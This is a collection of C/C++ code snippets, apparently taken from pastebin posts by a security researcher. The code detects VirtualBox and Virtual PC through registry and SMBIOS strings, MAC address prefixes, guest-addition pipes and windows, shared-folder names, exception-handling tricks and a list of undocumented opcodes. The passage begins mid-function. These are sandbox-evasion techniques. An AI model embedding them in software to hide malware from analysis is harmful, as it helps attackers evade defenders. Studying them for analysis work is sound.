if(n_subkeys) //Usually n_subkeys are 2
{
char* pNewKey=(char*)LocalAlloc(LMEM_ZEROINIT,max_subkey_length+1);
for(unsigned long i=0;i<n_subkeys;i++) //Usually n_subkeys are 2
{
memset(pNewKey,0,max_subkey_length+1);
HKEY HKK=0;
if(ERROR_SUCCESS==RegEnumKey(HK,i,pNewKey,max_subkey_length+1))
{
if((RegOpenKeyEx(HK,pNewKey,0,KEY_READ,&HKK)==ERROR_SUCCESS) && HKK)
{
unsigned long nn=0;
unsigned long maxlen=0;
RegQueryInfoKey(HKK,0,0,0,&nn,&maxlen,0,0,0,0,0,0);
char* pNewNewKey=(char*)LocalAlloc(LMEM_ZEROINIT,maxlen+1);
if(RegEnumKey(HKK,0,pNewNewKey,maxlen+1)==ERROR_SUCCESS)
{
HKEY HKKK=0;
if(RegOpenKeyEx(HKK,pNewNewKey,0,KEY_READ,&HKKK)==ERROR_SUCCESS)
{
unsigned long size=0xFFF;
unsigned char ValName[0x1000]={0};
if(RegQueryValueEx(HKKK,"FriendlyName",0,0,ValName,&size)==ERROR_SUCCESS)
{
ToLower(ValName);
if(strstr((char*)ValName,"vbox"))
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(5);
}
}
RegCloseKey(HKKK);
}
}
LocalFree(pNewNewKey);
RegCloseKey(HKK);
}
}
}
LocalFree(pNewKey);
}
}
RegCloseKey(HK);
}

//method 6
HK=0;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"HARDWARE\\DESCRIPTION\\System",0,KEY_READ,&HK)==ERROR_SUCCESS)
{
unsigned long type=0;
unsigned long size=0x100;
char* systembiosversion=(char*)LocalAlloc(LMEM_ZEROINIT,size+10);
if(ERROR_SUCCESS==RegQueryValueEx(HK,"SystemBiosVersion",0,&type,(unsigned char*)systembiosversion,&size))
{
ToLower((unsigned char*)systembiosversion);
if(type==REG_SZ||type==REG_MULTI_SZ)
{
if(strstr(systembiosversion,"vbox"))
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(6);
}
}
}
LocalFree(systembiosversion);

type=0;
size=0x200;
char* videobiosversion=(char*)LocalAlloc(LMEM_ZEROINIT,size+10);
if(ERROR_SUCCESS==RegQueryValueEx(HK,"VideoBiosVersion",0,&type,(unsigned char*)videobiosversion,&size))
{
if(type==REG_MULTI_SZ)
{
char* video=videobiosversion;
while(*(unsigned char*)video)
{
ToLower((unsigned char*)video);
if(strstr(video,"oracle")||strstr(video,"virtualbox") )
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(6);
}
video=&video[strlen(video)+1];
}
}
}
LocalFree(videobiosversion);
RegCloseKey(HK);
}
//method 7 - requires guest additions to be installed.
HANDLE hxx=CreateFile("\\\\.\\pipe\\VBoxTrayIPC",GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0);
if(hxx!=INVALID_HANDLE_VALUE)
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
CloseHandle(hxx);
ExitProcess(7);
}
//method 8 - requires guest additions installed
HWND hY1=FindWindow("VBoxTrayToolWndClass",0);
HWND hY2=FindWindow(0,"VBoxTrayToolWnd");
if(hY1 || hY2)
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(8);
}

//method 9
unsigned long pnsize=0x1000;
char* provider=(char*)LocalAlloc(LMEM_ZEROINIT,pnsize);
int retv=WNetGetProviderName(WNNC_NET_RDR2SAMPLE,provider,&pnsize);
if(retv==NO_ERROR)
{
if(lstrcmpi(provider,"VirtualBox Shared Folders")==0)
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(9);
}
}
return 0;
}

http://pastebin.com/xhFABpPL (proveedor de nombre de máquina)
//http://waleedassar.blogspot.com/   (@waleedassar)
//Using the "WNetGetProviderName" function to detect VirtualBox.
//Thanks @deesse_k for the idea

#include "stdafx.h"
#include "windows.h"
#include "Winnetwk.h"

#pragma comment(lib,"MPR")

int main(void)
{
//method 9
unsigned long pnsize=0x1000;
char* provider=(char*)LocalAlloc(LMEM_ZEROINIT,pnsize);
int retv=WNetGetProviderName(WNNC_NET_RDR2SAMPLE,provider,&pnsize);
if(retv==NO_ERROR)
{
if(lstrcmpi(provider,"VirtualBox Shared Folders")==0)
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(9);
}
}
return 0;
}

http://pastebin.com/v8LnMiZs (truco Innotek)
//http://waleedassar.blogspot.com (@waleedassar)
//MS VC++ 2005 + DirectX SDK
#include "stdafx.h"
#include "dxdiag.h"
#include "stdio.h"

int main(int argc, _TCHAR* argv[])
{
HRESULT hr=CoInitialize(0);
if(!SUCCEEDED(hr)) return 0;
IDxDiagProvider* pProvider = NULL;
hr=CoCreateInstance(CLSID_DxDiagProvider,0,CLSCTX_INPROC_SERVER,IID_IDxDiagProvider,(void**)&pProvider );
if(!SUCCEEDED(hr))
{
CoUninitialize();
return 0;
}
DXDIAG_INIT_PARAMS InitParams={0};
InitParams.dwSize=sizeof(DXDIAG_INIT_PARAMS);
InitParams.dwDxDiagHeaderVersion=DXDIAG_DX9_SDK_VERSION;
InitParams.bAllowWHQLChecks=false;
hr=pProvider->Initialize(&InitParams);
if(SUCCEEDED(hr))
{
IDxDiagContainer* pDxDiagRoot=0;
IDxDiagContainer* pDxDiagSystemInfo=0;
hr=pProvider->GetRootContainer(&pDxDiagRoot );
if(SUCCEEDED(hr))
{
hr=pDxDiagRoot->GetChildContainer( L"DxDiag_SystemInfo", &pDxDiagSystemInfo );
if(SUCCEEDED(hr) )
{
VARIANT varX;
hr=pDxDiagSystemInfo->GetProp( L"szSystemManufacturerEnglish",&varX);
if( SUCCEEDED(hr)&&varX.vt==VT_BSTR && SysStringLen(varX.bstrVal)!=0)
{
wchar_t* pMan=varX.bstrVal;
wprintf(L"System Manufacturer is %s\r\n",pMan);
if(!_wcsicmp(pMan,L"innotek GmbH"))
{
printf("VirtualBox detected\r\n");
}
}
VariantClear(&varX);
hr=pDxDiagSystemInfo->GetProp( L"szSystemModelEnglish",&varX);
if( SUCCEEDED(hr)&&varX.vt==VT_BSTR && SysStringLen(varX.bstrVal)!=0)
{
wchar_t* pMan=varX.bstrVal;
wprintf(L"System Model is %s\r\n",pMan);
if(!_wcsicmp(pMan,L"VirtualBox"))
{
printf("VirtualBox detected\r\n");
}
}
VariantClear(&varX);
pDxDiagSystemInfo->Release();
}
pDxDiagRoot->Release();
}
//pProvider->Release();
}
CoUninitialize();
return 0;
}

http://pastebin.com/fPY4MiYq (Marca y versión de la Bios)
//http://waleedassar.blogspot.com (@waleedassar)
//Reading "SMBiosData" to extract Bios Brand and Bios Version strings from registry.
//If the Bios Brand string is "innotek GmbH" or Bios Version is "VirtualBox", then it is a sign that we are running in VirtualBox.
//You can also use WMI to extract the same info.
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"


void AllToUpper(char* str,unsigned long len)
{
for(unsigned long c=0;c<len;c++)
{
if(str[c]>='a'&& str[c]<='z')
{
str[c]-=32;
}
}
}

unsigned char* ScanDataForString(unsigned char* data,unsigned long data_length,unsigned char* string2)
{
unsigned long string_length=strlen((char*)string2);
for(unsigned long i=0;i<=(data_length-string_length);i++)
{
if(strncmp((char*)(&data[i]),(char*)string2,string_length)==0) return &data[i];
}
return 0;
}

int main(int argc, char* argv[])
{
HKEY hk=0;
int ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\mssmbios\\data",0,KEY_ALL_ACCESS,&hk);
if(ret==ERROR_SUCCESS)
{
unsigned long type=0;
unsigned long length=0;
ret=RegQueryValueEx(hk,"SMBiosData",0,&type,0,&length);
if(ret==ERROR_SUCCESS)
{
if(length)
{
char* p=(char*)LocalAlloc(LMEM_ZEROINIT,length);
if(p)
{
ret=RegQueryValueEx(hk,"SMBiosData",0,&type,(unsigned char*)p,&length);
if(ret==ERROR_SUCCESS)
{
AllToUpper(p,length);
unsigned char* x1=ScanDataForString((unsigned char*)p,length,(unsigned char*)"INNOTEK GMBH");
unsigned char* x2=ScanDataForString((unsigned char*)p,length,(unsigned char*)"VIRTUALBOX");
unsigned char* x3=ScanDataForString((unsigned char*)p,length,(unsigned char*)"SUN MICROSYSTEMS");
unsigned char* x4=ScanDataForString((unsigned char*)p,length,(unsigned char*)"VIRTUAL MACHINE");
unsigned char* x5=ScanDataForString((unsigned char*)p,length,(unsigned char*)"VBOXVER");
if(x1 || x2 || x3 || x4 || x5)
{
printf("VirtualBox detected\r\n");
printf("Some Strings found:\r\n");
if(x1) printf("%s\r\n",x1);
if(x2) printf("%s\r\n",x2);
if(x3) printf("%s\r\n",x3);
if(x4) printf("%s\r\n",x4);
if(x5) printf("%s\r\n",x5);
}
}
LocalFree(p);
}
}
}
RegCloseKey(hk);
}
return 0;
}

http://pastebin.com/Geggzp4G (Marca y versión de la Bios)
//http://waleedassar.blogspot.com (@waleedassar)
//Reading "SMBiosData" to extract Bios Brand and Bios Version strings via WMI COM access. If the Bios Brand string is //"innotek GmbH" or Bios Version is "VirtualBox", then it is a sign that we are running in VirtualBox.

#include "stdafx.h"
#include <comdef.h>
#include <Wbemidl.h>
#include "stdio.h"

#pragma comment(lib, "wbemuuid.lib")


void AllToUpper(unsigned char* str,unsigned long len)
{
for(unsigned long c=0;c<len;c++)
{
if(str[c]>='a'&& str[c]<='z')
{
str[c]-=32;
}
}
}

unsigned char* ScanDataForString(unsigned char* data,unsigned long data_length,unsigned char* string2)
{
unsigned long string_length=(unsigned long)strlen((char*)string2);
for(unsigned long i=0;i<=(data_length-string_length);i++)
{
if(strncmp((char*)(&data[i]),(char*)string2,string_length)==0) return &data[i];
}
return 0;
}
int main(int argc, _TCHAR* argv[])
{
BSTR rootwmi=SysAllocString(L"root\\wmi");
BSTR tables=SysAllocString(L"MSSmBios_RawSMBiosTables");
BSTR biosdata=SysAllocString(L"SMBiosData");

HRESULT hr=CoInitializeEx(0, COINIT_MULTITHREADED);
if(!SUCCEEDED(hr)) return 0;
IWbemLocator* pLoc=0;
hr=CoCreateInstance(CLSID_WbemLocator,0,CLSCTX_INPROC_SERVER,IID_IWbemLocator,(void**)&pLoc);
if(!SUCCEEDED(hr))
{
CoUninitialize();
return 0;
}
IWbemServices* pSvc=0;
hr=pLoc->ConnectServer(rootwmi,0 ,0 ,0 ,0,0,0,&pSvc);
if(!SUCCEEDED(hr))
{
pLoc->Release();
CoUninitialize();
return 0;
}
hr=CoSetProxyBlanket(pSvc,RPC_C_AUTHN_WINNT,RPC_C_AUTHZ_NONE,0,RPC_C_AUTHN_LEVEL_CALL,RPC_C_IMP_LEVEL_IMPERSONATE,0,EOAC_NONE);
if(!SUCCEEDED(hr))
{
pSvc->Release();
pLoc->Release();
CoUninitialize();
return 0;
}

IEnumWbemClassObject* pEnum=0;
hr=pSvc->CreateInstanceEnum(tables,0,0, &pEnum);
if(!SUCCEEDED(hr))
{
pSvc->Release();
pLoc->Release();
CoUninitialize();
return 0;
}

IWbemClassObject* pInstance=0;
unsigned long Count=0;
hr=pEnum->Next(WBEM_INFINITE,1,&pInstance,&Count);
if(SUCCEEDED(hr))
{
VARIANT BiosData;
VariantInit(&BiosData);
CIMTYPE type;
hr=pInstance->Get(biosdata,0,&BiosData,&type,NULL);
if(SUCCEEDED(hr))
{
SAFEARRAY* p_array = NULL;
p_array = V_ARRAY(&BiosData);
unsigned char* p_data=(unsigned char *)p_array->pvData;
unsigned long length=p_array->rgsabound[0].cElements;
AllToUpper(p_data,length);
unsigned char* x1=ScanDataForString((unsigned char*)p_data,length,(unsigned char*)"INNOTEK GMBH");
unsigned char* x2=ScanDataForString((unsigned char*)p_data,length,(unsigned char*)"VIRTUALBOX");
unsigned char* x3=ScanDataForString((unsigned char*)p_data,length,(unsigned char*)"SUN MICROSYSTEMS");
unsigned char* x4=ScanDataForString((unsigned char*)p_data,length,(unsigned char*)"VIRTUAL MACHINE");
unsigned char* x5=ScanDataForString((unsigned char*)p_data,length,(unsigned char*)"VBOXVER");
if(x1 || x2 || x3 || x4 || x5)
{
printf("VirtualBox detected\r\n");
printf("Some Strings found:\r\n");
if(x1) printf("%s\r\n",x1);
if(x2) printf("%s\r\n",x2);
if(x3) printf("%s\r\n",x3);
if(x4) printf("%s\r\n",x4);
if(x5) printf("%s\r\n",x5);
}
}
VariantClear(&BiosData);
pInstance->Release();
}
pSvc->Release();
pLoc->Release();
CoUninitialize();
ExitProcess(0);
return 0;
}

http://pastebin.com/T0s5gVGW (parser SMBiosData buscando nuevos types)
//http://waleedassar.blogspot.com (@waleedassar)
//The following code parses the SMBiosData retrieved from the Windows registry and searches for any structures of TYPE TYPE_INACTIVE (126, 0x7E). This is a sign of VirtualBox existence.
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"

#define TYPE_BIOS 0x0 //e.g. Bios Brand and Version
#define TYPE_SYSTEM 0x1 //System Manufacturer and Model
#define TYPE_BASEBOARD 0x2
#define TYPE_SYSTEM_ENCLOSURE 0x3
#define TYPE_PROCESSOR 0x4
#define TYPE_CACHE_INFO 0x7
#define TYPE_SYSTEM_SLOTS 0x9
#define TYPE_OEM_STRINGS 0xB
#define TYPE_PHYSICAL_MEM_ARRAY 0x10
#define TYPE_MEMORY_DEVICE 0x11
#define TYPE_MEMORY_ARRAY_MAPPED_ADDRESS 0x13
#define TYPE_SYSTEM_BOOT_INFORMATION 0x20
#define TYPE_INACTIVE 0x7E //???? this one
#define TYPE_END_OF_STRUCTURE 0x7F

//----This structure is only need for parsing SMBiosData retrieved from Registry.
//Not needed for parsing SMBiosData retrieved Via WMI
struct BIOS_DATA_HEAD
{
unsigned char a1;
unsigned char a2;
unsigned char a3;
unsigned char a4;
unsigned long length;
};

struct HeadER
{
unsigned char Type; //0 for bios, 1 for system, and so on.
unsigned char section_length;
unsigned short handles;
};

void AllToUpper(char* str,unsigned long len)
{
for(unsigned long c=0;c<len;c++)
{
if(str[c]>='a'&& str[c]<='z')
{
str[c]-=32;
}
}
}

void PrintType(unsigned char type)
{
printf("----------------------------------------\r\n");
if(type==TYPE_BIOS) printf("Type: BIOS\r\n");
else if(type==TYPE_SYSTEM) printf("Type: SYSTEM INFO\r\n");
else if(type==TYPE_BASEBOARD) printf("Type: BASEBOARD\r\n");
else if(type==TYPE_SYSTEM_ENCLOSURE) printf("Type: BIOS\r\n");
else if(type==TYPE_PROCESSOR) printf("Type: PROCESSOR\r\n");
else if(type==TYPE_CACHE_INFO) printf("Type: CACHE INFO\r\n");
else if(type==TYPE_SYSTEM_SLOTS) printf("Type: SYSTEM SLOTS\r\n");
else if(type==TYPE_OEM_STRINGS) printf("Type: OEM STRINGS\r\n");
else if(type==TYPE_PHYSICAL_MEM_ARRAY) printf("Type: PHYSICAL MEMORY ARRAY\r\n");
else if(type==TYPE_MEMORY_DEVICE) printf("Type: MEMORY DEVICE\r\n");
else if(type==TYPE_MEMORY_ARRAY_MAPPED_ADDRESS) printf("Type: MEMORY ARRAY MAPPED ADDRESS\r\n");
else if(type==TYPE_SYSTEM_BOOT_INFORMATION) printf("Type: SYSTEM BOOT INFORMATION\r\n");
else if(type==TYPE_END_OF_STRUCTURE) printf("Type: END OF STRUCTURE\r\n");
else printf("Type: %X\r\n",type);
}
//index 1 represents the first string
char* PrintString(char* pString,unsigned long index)
{
index--;
while(index)
{
unsigned long length=strlen(pString);
pString+=(length+1);
if(*pString==0)
{
printf("String is: Error retrieving string\r\n");
return 0;
}
index--;
}
printf("String is: %s\r\n",pString);
return pString;
}

unsigned char* ScanDataForString(unsigned char* data,unsigned long data_length,unsigned char* string2)
{
unsigned long string_length=strlen((char*)string2);
for(unsigned long i=0;i<=(data_length-string_length);i++)
{
if(strncmp((char*)(&data[i]),(char*)string2,string_length)==0) return &data[i];
}
return 0;
}

int main(int argc, char* argv[])
{
HKEY hk=0;
int ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\mssmbios\\data",0,KEY_ALL_ACCESS,&hk);
if(ret==ERROR_SUCCESS)
{
unsigned long type=0;
unsigned long length=0;
ret=RegQueryValueEx(hk,"SMBiosData",0,&type,0,&length);
if(ret==ERROR_SUCCESS)
{
if(length)
{
char* p=(char*)LocalAlloc(LMEM_ZEROINIT,length);
if(p)
{
ret=RegQueryValueEx(hk,"SMBiosData",0,&type,(unsigned char*)p,&length);
if(ret==ERROR_SUCCESS)
{
//--------------------------Only when parsing SMBiosData retrieved from Registry------------------
unsigned long new_length=((BIOS_DATA_HEAD*)p)->length; //length-8
p+=0x8;
printf("Length is: %X\r\n",new_length);
//------------------------------------------------------------------------------------------------
unsigned long i=0;
while(i<new_length)
{
unsigned char type=((HeadER*)(p+i))->Type;
PrintType(type);
unsigned char section_size=((HeadER*)(p+i))->section_length;
printf("Section length is: %X\r\n",section_size);
unsigned short handles=((HeadER*)(p+i))->handles;
printf("Handle is: %X\r\n",handles);

if(type==0x7F) break; //End-Of-Table

if(type==TYPE_INACTIVE) //0x7E
{
PrintString(p+i+section_size,*(p+i+4)); //print Brand
PrintString(p+i+section_size,*(p+i+5)); //print Version
MessageBox(0,"VirtualBox detected","waliedassar",0);
}
//---Get End of Structure--------------
unsigned char* pxp=(unsigned char*)p+i+section_size;
while(*(unsigned short*)pxp!=0) pxp++;
pxp++;
pxp++;
//-------------------------------------
i=(pxp-((unsigned char*)p));
}
}
LocalFree(p);
}
}
}
RegCloseKey(hk);
}
return 0;
}

http://pastebin.com/AjHWApes (truco dirección MAC de Cadmus)
//http://waleedassar.blogspot.com (@waleedassar)
//VirtualBox Adapters (Host and Guests) always have their MAC addresses in the form of 08-00-27-??-??-??. This range was originally assigned to Cadmus Computer Systems.
//This might show false positive results, but has not been witnessed so far.
#include "stdafx.h"
#include "winsock2.h"
#include "iphlpapi.h"
#include "ws2tcpip.h"
#include "windows.h"
#include "stdio.h"


int main(int argc, char* argv[])
{
WSADATA WSD;
if(!WSAStartup(MAKEWORD(2,2),&WSD))
{
unsigned long tot_size=0;
int ret=GetAdaptersAddresses(AF_UNSPEC,GAA_FLAG_INCLUDE_PREFIX,0,0,&tot_size);
if(ret==ERROR_BUFFER_OVERFLOW)
{
IP_ADAPTER_ADDRESSES* px=(IP_ADAPTER_ADDRESSES*)LocalAlloc(LMEM_ZEROINIT,tot_size);
if(px)
{
ret=GetAdaptersAddresses(AF_UNSPEC,GAA_FLAG_INCLUDE_PREFIX,0,px,&tot_size);
IP_ADAPTER_ADDRESSES* pxx=px;
//Traverse a singly-linked list
for(pxx;pxx;pxx=pxx->Next)
{
if(pxx->PhysicalAddressLength==0x6)
{
if(wcsicmp(pxx->FriendlyName,L"VirtualBox Host-Only Network")) //We don't want to detect the HOST OS
{
char xx[0x6]={0};
memcpy(xx,pxx->PhysicalAddress,0x6);
if(xx[0]==0x08&& xx[1]==0x00 && xx[2]==0x27) //Cadmus Computer Systems Mac address
{
MessageBox(0,L"VirtualBox detected",L"waliedassar",0);
}
}
}
}
LocalFree(px);
}
}
WSACleanup();
}
ExitProcess(0);
return 0;
}

http://pastebin.com/wh4NAP26 (truco VBoxSharedFolderFS)
//http://waleedassar.blogspot.com (@waleedassar)
//If you happen to have a mapped shared folder inside VirtualBox, then it always has the File system named "VBoxSharedFolderFS".
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"

int main(int argc, char* argv[])
{
for(unsigned char x='A';x<='Z';x++)
{
char drv[0x4]={0};
drv[0]=x;
drv[1]=':';
drv[2]='\\';
if(DRIVE_REMOTE==GetDriveType(drv))
{
char FSName[0x110]={0};
if(GetVolumeInformation(drv,0,0,0,0,0,FSName,0x100))
{
if(strcmpi("VBoxSharedFolderFS",FSName)==0)
{
MessageBox(0,"VirtualBox detected","walied",0);
}
else
{
printf("%s %s\r\n",drv,FSName);
}
}
}
}
return 0;
}

http://pastebin.com/Nsv5B1yk (truco Resume Flag)
//http://waleedassar.blogspot.com
//http://www.twitter.com/waleedassar
//Use this code to detect if Windows XP is running inside Virtual PC 2007
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"

#define CONTEXT_ALL 0x1003F

int dummy(int);
unsigned long gf=0;
int __cdecl Handler(EXCEPTION_RECORD* pRec,void* est,unsigned char* pContext,void* disp)
{
if(pRec->ExceptionCode==0xC0000096) //Privileged instruction
{
//---------------------Installing the trick--------------------------------------
*(unsigned long*)(pContext)=CONTEXT_ALL;/*CONTEXT_DEBUG_REGISTERS|CONTEXT_FULL*/
*(unsigned long*)(pContext+0x4)=(unsigned long)(&dummy);
*(unsigned long*)(pContext+0x8)=(unsigned long)(&dummy);
*(unsigned long*)(pContext+0xC)=(unsigned long)(&dummy);
*(unsigned long*)(pContext+0x10)=(unsigned long)(&dummy);
*(unsigned long*)(pContext+0x14)=0;
*(unsigned long*)(pContext+0x18)=0x155; //Enable the four DRx On-Execute
//---------------------------------------------------------------------------------
(*(unsigned long*)(pContext+0xB8))++;
return ExceptionContinueExecution;
}
else if(pRec->ExceptionCode==EXCEPTION_SINGLE_STEP)
{
if(gf==1)
{
MessageBox(0,"Expected behavior (XP)","waliedassar",0);
ExitProcess(0);
}
gf++;
(*(unsigned long*)(pContext+0xC0))|=0x00010000; //Set the RF (Resume Flag)
return ExceptionContinueExecution;
}
return ExceptionContinueSearch;
}

int dummy(int x)
{
x+=0x100;
return x;
}

int main(int shitArg)
{
unsigned long ver_=GetVersion();
unsigned long major=ver_&0xFF;
unsigned long minor=(ver_>>0x8)&0xFF;
if(major==0x05 & minor==0x01) //Windows XP
{
unsigned long x=0;
__asm
{
push offset Handler
push dword ptr fs:[0x0]
mov dword ptr fs:[0x0],esp
STI; Triggers an exception(privileged instruction)
}
dummy(0xFF);
__asm
{
pop dword ptr fs:[0x0]
pop ebx
}
MessageBox(0,"Virtual PC 2007 detected (XP)","waliedassar",0);
}
return 0;
}

VirtualPc

http://pastebin.com/wuqcUaiE
//http://waleedassar.blogspot.com (@waleedassar)
//If running inside VirtualPC, the Illegal Instruction exception will be swallowed and no exception is raised.
// In this code "\x0f\x3F\x07\x0B" is used, other "\x0F\x3F\xXX\xXX" are also working.
//For more: http://pastebin.com/VDDRcmdL
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"

bool x=false;

int __cdecl Handler(EXCEPTION_RECORD* pRec,void* est,unsigned char* pContext,void* disp)
{
x=true;
(*(unsigned long*)(pContext+0xB8))+=4;
return ExceptionContinueExecution;
}

int main(int argc, char* argv[])
{
__asm
{
push offset Handler
push dword ptr fs:[0x0]
mov dword ptr fs:[0x0],esp
__emit 0Fh
__emit 3Fh
__emit 07h
__emit 0Bh
}
if(x==false)
{
MessageBox(0,"VirtualPC detected","waliedassar",0);
ExitProcess(0);
}

__asm
{
pop dword ptr fs:[0x0]
pop eax
}
return 0;
}

http://pastebin.com/VDDRcmdL
//http://waleedassar.blogspot.com (@waleedassar)
//Each of the following can be used to detect VirtualPC
//For more info: http://pastebin.com/wuqcUaiE

\xF\x3F\x1\x0
\xF\x3F\x5\x0
\xF\x3F\x7\x0
\xF\x3F\xD\x0
\xF\x3F\x10\x0
\xF\x3F\x1\x1
\xF\x3F\x5\x1
\xF\x3F\x7\x1
\xF\x3F\xD\x1
\xF\x3F\x10\x1
\xF\x3F\x1\x2
\xF\x3F\x5\x2
\xF\x3F\x7\x2
\xF\x3F\xD\x2
\xF\x3F\x10\x2
\xF\x3F\x1\x3
\xF\x3F\x5\x3
\xF\x3F\x7\x3
\xF\x3F\xD\x3
\xF\x3F\x10\x3
\xF\x3F\x1\x4
\xF\x3F\x5\x4
\xF\x3F\x7\x4
\xF\x3F\xD\x4
\xF\x3F\x10\x4
\xF\x3F\x1\x5
\xF\x3F\x5\x5
\xF\x3F\x7\x5
\xF\x3F\xD\x5
\xF\x3F\x10\x5
\xF\x3F\x1\x6
\xF\x3F\x5\x6
\xF\x3F\x7\x6
\xF\x3F\xD\x6
\xF\x3F\x10\x6
\xF\x3F\x1\x7
\xF\x3F\x5\x7
\xF\x3F\x7\x7
\xF\x3F\xD\x7
\xF\x3F\x10\x7
\xF\x3F\x1\x8
\xF\x3F\x5\x8
\xF\x3F\x7\x8
\xF\x3F\xD\x8
\xF\x3F\x10\x8
\xF\x3F\x1\x9
\xF\x3F\x5\x9
\xF\x3F\x7\x9
\xF\x3F\xD\x9
\xF\x3F\x10\x9
\xF\x3F\x1\xA
\xF\x3F\x5\xA
\xF\x3F\x7\xA
\xF\x3F\xD\xA
\xF\x3F\x10\xA
\xF\x3F\x1\xB
\xF\x3F\x5\xB
\xF\x3F\x7\xB
\xF\x3F\xD\xB
\xF\x3F\x10\xB
\xF\x3F\x1\xC
\xF\x3F\x5\xC
\xF\x3F\x7\xC
\xF\x3F\xD\xC
\xF\x3F\x10\xC
\xF\x3F\x1\xD
\xF\x3F\x5\xD
\xF\x3F\x7\xD
\xF\x3F\xD\xD
\xF\x3F\x10\xD
\xF\x3F\x1\xE
\xF\x3F\x5\xE
\xF\x3F\x7\xE
\xF\x3F\xD\xE
\xF\x3F\x10\xE
\xF\x3F\x1\xF
\xF\x3F\x5\xF
\xF\x3F\x7\xF
\xF\x3F\xD\xF
\xF\x3F\x10\xF
\xF\x3F\x1\x10
\xF\x3F\x5\x10
\xF\x3F\x7\x10
\xF\x3F\xD\x10
\xF\x3F\x10\x10
\xF\x3F\x1\x11
\xF\x3F\x5\x11
\xF\x3F\x7\x11
\xF\x3F\xD\x11
\xF\x3F\x10\x11
\xF\x3F\x1\x12
\xF\x3F\x5\x12
\xF\x3F\x7\x12
\xF\x3F\xD\x12
\xF\x3F\x10\x12
\xF\x3F\x1\x13
\xF\x3F\x5\x13
\xF\x3F\x7\x13
\xF\x3F\xD\x13
\xF\x3F\x10\x13
\xF\x3F\x1\x14
\xF\x3F\x5\x14
\xF\x3F\x7\x14
\xF\x3F\xD\x14
\xF\x3F\x10\x14
\xF\x3F\x1\x15
\xF\x3F\x5\x15
\xF\x3F\x7\x15
\xF\x3F\xD\x15
\xF\x3F\x10\x15
\xF\x3F\x1\x16
\xF\x3F\x5\x16
\xF\x3F\x7\x16
\xF\x3F\xD\x16
\xF\x3F\x10\x16
\xF\x3F\x1\x17
\xF\x3F\x5\x17
\xF\x3F\x7\x17
\xF\x3F\xD\x17
\xF\x3F\x10\x17
\xF\x3F\x1\x18
\xF\x3F\x5\x18
\xF\x3F\x7\x18
\xF\x3F\xD\x18
\xF\x3F\x10\x18
\xF\x3F\x1\x19
\xF\x3F\x5\x19
\xF\x3F\x7\x19
\xF\x3F\xD\x19
\xF\x3F\x10\x19
\xF\x3F\x1\x1A
\xF\x3F\x5\x1A
\xF\x3F\x7\x1A
\xF\x3F\xD\x1A
\xF\x3F\x10\x1A
\xF\x3F\x1\x1B
\xF\x3F\x5\x1B
\xF\x3F\x7\x1B
\xF\x3F\xD\x1B
\xF\x3F\x10\x1B
\xF\x3F\x1\x1C
\xF\x3F\x5\x1C
\xF\x3F\x7\x1C
\xF\x3F\xD\x1C
\xF\x3F\x10\x1C
\xF\x3F\x1\x1D
\xF\x3F\x5\x1D
\xF\x3F\x7\x1D
\xF\x3F\xD\x1D
\xF\x3F\x10\x1D
\xF\x3F\x1\x1E
\xF\x3F\x5\x1E
\xF\x3F\x7\x1E
\xF\x3F\xD\x1E
\xF\x3F\x10\x1E
\xF\x3F\x1\x1F
\xF\x3F\x5\x1F
\xF\x3F\x7\x1F
\xF\x3F\xD\x1F
\xF\x3F\x10\x1F
\xF\x3F\x1\x20
\xF\x3F\x5\x20
\xF\x3F\x7\x20
\xF\x3F\xD\x20
\xF\x3F\x10\x20
\xF\x3F\x1\x21
\xF\x3F\x5\x21
\xF\x3F\x7\x21
\xF\x3F\xD\x21
\xF\x3F\x10\x21
\xF\x3F\x1\x22
\xF\x3F\x5\x22
\xF\x3F\x7\x22
\xF\x3F\xD\x22
\xF\x3F\x10\x22
\xF\x3F\x1\x23
\xF\x3F\x5\x23
\xF\x3F\x7\x23
\xF\x3F\xD\x23
\xF\x3F\x10\x23
\xF\x3F\x1\x24
\xF\x3F\x5\x24
\xF\x3F\x7\x24
\xF\x3F\xD\x24
\xF\x3F\x10\x24
\xF\x3F\x1\x25
\xF\x3F\x5\x25
\xF\x3F\x7\x25
\xF\x3F\xD\x25
\xF\x3F\x10\x25
\xF\x3F\x1\x26
\xF\x3F\x5\x26
\xF\x3F\x7\x26
\xF\x3F\xD\x26
\xF\x3F\x10\x26
\xF\x3F\x1\x27
\xF\x3F\x5\x27
\xF\x3F\x7\x27
\xF\x3F\xD\x27
\xF\x3F\x10\x27
\xF\x3F\x1\x28
\xF\x3F\x5\x28
\xF\x3F\x7\x28
\xF\x3F\xD\x28
\xF\x3F\x10\x28
\xF\x3F\x1\x29
\xF\x3F\x5\x29
\xF\x3F\x7\x29
\xF\x3F\xD\x29
\xF\x3F\x10\x29
\xF\x3F\x1\x2A
\xF\x3F\x5\x2A
\xF\x3F\x7\x2A
\xF\x3F\xD\x2A
\xF\x3F\x10\x2A
\xF\x3F\x1\x2B
\xF\x3F\x5\x2B
\xF\x3F\x7\x2B
\xF\x3F\xD\x2B
\xF\x3F\x10\x2B
\xF\x3F\x1\x2C
\xF\x3F\x5\x2C
\xF\x3F\x7\x2C
\xF\x3F\xD\x2C
\xF\x3F\x10\x2C
\xF\x3F\x1\x2D
\xF\x3F\x5\x2D
\xF\x3F\x7\x2D
\xF\x3F\xD\x2D
\xF\x3F\x10\x2D
\xF\x3F\x1\x2E
\xF\x3F\x5\x2E
\xF\x3F\x7\x2E
\xF\x3F\xD\x2E
\xF\x3F\x10\x2E
\xF\x3F\x1\x2F
\xF\x3F\x5\x2F
\xF\x3F\x7\x2F
\xF\x3F\xD\x2F
